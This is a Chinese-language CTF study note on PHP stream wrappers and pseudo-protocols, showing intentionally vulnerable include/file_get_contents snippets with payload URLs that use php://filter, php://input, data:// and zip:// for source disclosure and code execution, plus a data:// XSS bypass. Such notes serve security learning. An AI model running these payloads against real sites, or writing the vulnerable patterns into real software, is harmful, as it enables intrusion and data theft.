php常用协议与伪协议的总结

前言:

最近打比赛,经常遇到php各种协议和伪协议的运用,因此抽时间总结一波。

php中支持的常用的协议有这些:

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

file://协议:

1
2
3
4
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

file:// 访问本地文件系统:

说明:

1
2
3
文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。
在某些函数里,例如 fopen() 和 file_get_contents(), include_path 会可选地搜索,也作为相对的路径。
在ctf比赛中通常用来读取本地文件并且不受allow_url_fopen与allow_url_include的影响。

例如下面的index.php:

1
2
<?php
@include("$_GET[cmd]");

用下面的方式包含:

1
http://localhost/test/index.php?cmd=file:///D:/PhpStudy/PHPTutorial/WWW/phpinfo.php

http://由于见的太多了就不总结了。

ftp:// – ftps:// — 访问 FTP(s) URLs协议:

说明:

1
2
3
4
5
6
7
8
允许通过 FTP 读取存在的文件,以及创建新文件。 
如果服务器不支持被动(passive)模式的 FTP,连接会失败。
打开文件后你既可以读也可以写,但是不能同时进行。
当远程文件已经存在于 ftp 服务器上,如果尝试打开并写入文件的时候, 未指定上下文(context)选项 overwrite,连接会失败。
如果要通过 FTP 覆盖存在的文件, 指定上下文(context)的 overwrite 选项来打开、写入。
另外可使用 FTP 扩展来代替。
如果你设置了 php.ini 中的 from 指令, 这个值会作为匿名(anonymous)ftp 的密码。
受allow_url_fopen影响,必须开启。

用法:

1
2
3
4
ftp://example.com/pub/file.txt
ftp://user:password@example.com/pub/file.txt
ftps://example.com/pub/file.txt
ftps://user:password@example.com/pub/file.txt

php://协议:

1
2
3
php://filter在双off的情况下也可以正常使用;
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

说明:

1
2
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
在CTF比赛中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter:

1
2
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 
这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
1
2
3
4
resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

举个例子:

1
2
3
php://filter/read=convert.base64-encode/resource=upload.php
这里读的过滤器为convert.base64-encode,就和字面上的意思一样,把输入流base64-encode。
resource=upload.php,代表读取upload.php的内容

过滤器:

过滤器有很多种,有字符串过滤器、转换过滤器、压缩过滤器、加密过滤器 <字符串过滤器>

1
2
3
4
5
6
7
8
9
string.rot13
进行rot13转换
string.toupper
将字符全部大写
string.tolower
将字符全部小写
string.strip_tags
去除空字符、HTML 和 PHP 标记后的结果。
功能类似于strip_tags()函数,若不想某些字符不被消除,后面跟上字符,可利用字符串或是数组两种方式。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');
echo "rot13:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
echo "Upper:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
echo "Lower:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
echo "Del1:";
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE);
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
echo "Del2:";
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b', 'h1'));
echo "Del3:";
fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
fclose($fp);

结果如下:

1
2
3
4
5
6
7
rot13:Guvf vf n grfg.
Upper:THIS IS A TEST.
Lower:this is a test.
Del1:This is a test.!!!!~~~~
Del2:This is a test.!!!!~~~~
Del3:This is a test.!!!!
~~~~

转换过滤器:

1
2
3
4
5
6
7
如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。
转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息,请参考该函数的手册页。
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。
convert.base64-encode支持以一个关联数组给出的参数。
如果给出了 line-length,base64 输出将被用 line-length个字符为 长度而截成块。
如果给出了 line-break-chars,每块将被用给出的字符隔开。
这些参数的效果和用 base64_encode()再加上 chunk_split()相同。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$fp= fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
echo "base64-encode:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$param = array('line-length' => 8, 'line-break-chars' => "\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
echo "\nbase64-encode-split:\n";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
echo "\nbase64-decode:";
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
echo "quoted-printable-encode:";
fwrite($fp, "This is a test.\n");
fclose($fp);
echo "<br>";

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-decode');
echo "\nquoted-printable-decode:";
fwrite($fp, "This is a test.=0A");
fclose($fp);
echo "<br>";

结果如下:

1
2
3
4
5
base64-encode:VGhpcyBpcyBhIHRlc3QuCg==
base64-encode-split: VGhpcyBp cyBhIHRl c3QuCg==
base64-decode:This is a test.
quoted-printable-encode:This is a test.=0A
quoted-printable-decode:This is a test.

压缩过滤器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
虽然 压缩封装协议提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。
对此,压缩过滤器可以在任何时候应用于任何流资源。

Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

zlib.deflate(压缩)和 zlib.inflate(解压)实现了定义与 » RFC 1951的压缩算法。
deflate过滤器可以接受以一个关联数组传递的最多三个参数。 level定义了压缩强度(1-9)。数字更高通常会产生更小的载荷,但要消耗更多的处理时间。存在两个特殊压缩等级:0(完全不压缩)和 -1(zlib 内部默认值,目前是 6)。 window是压缩回溯窗口大小,以二的次方表示。更高的值(大到 15 —— 32768 字节)产生更好的压缩效果但消耗更多内存,低的值(低到 9 —— 512 字节)产生产生较差的压缩效果但内存消耗低。
目前默认的 window大小是 15。
memory用来指示要分配多少工作内存。
合法的数值范围是从 1(最小分配)到 9(最大分配)。
内存分配仅影响速度,不会影响生成的载荷的大小。

Note: 因为最常用的参数是压缩等级,也可以提供一个整数值作为此参数(而不用数组)。

zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。
也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。
此过滤器在 PHP 4 中 不可用。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$params = array('level' => 6, 'window' => 15, 'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";
$fp = fopen('test.deflated', 'w');
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

运行的结果如下:

1
2
3
4
5
6
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.

加密过滤器:

1
2
3
4
5
6
7
8
9
mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用:

mcrypt 过滤器参数
参数 是否必须 默认值 取值举例
mode 可选 cbc cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir 可选 ini_get('mcrypt.algorithms_dir') algorithms 模块的目录
modes_dir 可选 ini_get('mcrypt.modes_dir') modes 模块的目录
iv 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定
key 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定

加密过滤器的读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$passphrase = 'My secret';

/* Turn a human readable passphrase
* into a reproducable iv/key pair
*/
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'wb');
stream_filter_append($fp, 'mcrypt.tripledes', STREAM_FILTER_WRITE, $opts);
fwrite($fp, 'Secret secret secret data');
fclose($fp);

$passphrase = 'My secret';

/* Turn a human readable passphrase
* into a reproducable iv/key pair
*/
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'rb');
stream_filter_append($fp, 'mdecrypt.tripledes', STREAM_FILTER_WRITE, $opts);
$data = rtrim(stream_get_contents($fp));
fclose($fp);

echo $data;

如下php://filter读取以base64:

1
2
<?php
echo @file_get_contents($_GET["cmd"]);

读取的内容如下:

1
PD9waHANCiRmbGFnPSJmbGFne2xpYW5namllfSI7DQo=

在php中一般变量用单引号解析为字符串,而双引号如:

1
2
3
4
5
<?php
$ljdd520 = 121;
echo "$ljdd520";
echo "<br>";
echo '$ljdd520';

运行的结果如下:

1
2
121
$ljdd520

php://input协议:

1
2
3
php://input 是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行。
因为它不依赖于特定的 php.ini 指令。
注意:enctype=”multipart/form-data” 的时候 php://input 是无效的。

需要的环境:

1
2
3
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
//class.php
include($file);
}else{
echo "you are not admin ! ";
}
// 解法为 url/index.php?user=php://input
// [POSTDATA] the user is admin
// 最后输出为hello admin!并且包含对应文件

php://output协议:

说明:

1
2
3
4
5
6
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
```
#### 例如:
```php
<?php
@file_put_contents($_GET['cmd'], "ljdd520");

运行的结果如下:

1
2
通过访问:http://localhost/test/index.php/?cmd=php://output
ljdd520

zip://, bzip2://, zlib://协议:

使用环境:

1
2
3
4
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

他们处理的文件:

1
2
3
4
5
3个封装协议,都是直接打开压缩文件。
compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包
compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包
zip://archive.zip#dir/file.txt - 处理的是 '.zip' 后缀的压缩包里的文件
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

zip://协议:

1
2
3
4
5
php 版本大于等于 php5.3.0
使用方法:
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]**
要用绝对路径+url编码#

测试:

新建一个zip.txt文件其中写入<?php phpinfo();?>压缩成zip文件然后改名为zip.jpg用如下的payload进行测试:
1
2
3
4
<?php
@include("$_GET[cmd]");
?>
http://localhost/test/index.php/?cmd=zip://C:/Users/ljdd520/Desktop/zip.jpg%23zip.txt

最后执行成功:

bzip2://协议:

1
2
3
4
5
6
7
8
9
使用方法:
compress.bzip2://file.bz2
相对路径也可以

测试
用7-zip生成一个bz2压缩文件。
访问:http://localhost/test/index.php/?cmd=compress.bzip2://C:/Users/liangjie/Desktop/zip.txt.bz2
或者文件改为jpg后缀
http://localhost/test/index.php/?cmd=compress.bzip2://C:/Users/liangjie/Desktop/zip.jpg

由于没有什么疑问就没有截图了:

data://协议:

说明:

1
2
3
data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

需要的环境:

1
2
3
4
5
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2

测试代码:

1
2
<?php
@include("$_GET[cmd]");

如下测试payload:

1
2
3
4
1: http://localhost/test/index.php/?cmd=data://text/plain,%3C?php%20phpinfo()?%3E
2: http://localhost/test/index.php/?cmd=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3: http://localhost/test/index.php/?cmd=data:text/plain,<?php phpinfo()?>
4: http://localhost/test/index.php/?cmd=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

上面的payload都是可以访问到phpinfo的。

举个例子通过data://协议进行xss:

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
@$url=$_GET['url'];
// 通过filter_var进行了url的校验,并且用正则对url进行了绑定。
if(filter_var($url, FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($url);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($url);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}

我们可以用下面的payload绕过并通过返回<script>alert(1)</script>给页面造成xss:

1
http://localhost/test/index.php?url=data://baidu.com/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=

bytectf的一道题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function is_valid_url($url)
{
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])) {
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
} else {
highlight_file(__FILE__);
}

第一要绕过域名的限制,第二只能执行如a(b(c()))这样的函数:

可以通过买一个xxxbaidu.com这样的baidu.com结尾的域名来绕过第一步:

绕过第二步可以参考一叶飘零的总结https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/:

感觉做题还是要多读文档。

glob://协议:

说明:

1
2
glob:// — 查找匹配的文件路径模式
glob: 数据流包装器自 PHP 5.3.0 起开始有效。

代码示例:

1
2
3
4
5
6
<?php
$it=new DirectoryIterator("glob://D:/PhpStudy/PHPTutorial/WWW/*.php");
foreach ($it as $f){
printf("%s: %.1FK\n",$f->getFilename(),$f->getSize()/1024);
echo "<br>";
}

运行的结果如下:

1
2
3
index.php: 0.0K
l.php: 20.7K
phpinfo.php: 0.0K

受allow_url_fopen,allow_url_include的影响。

phar://协议以后再总结了。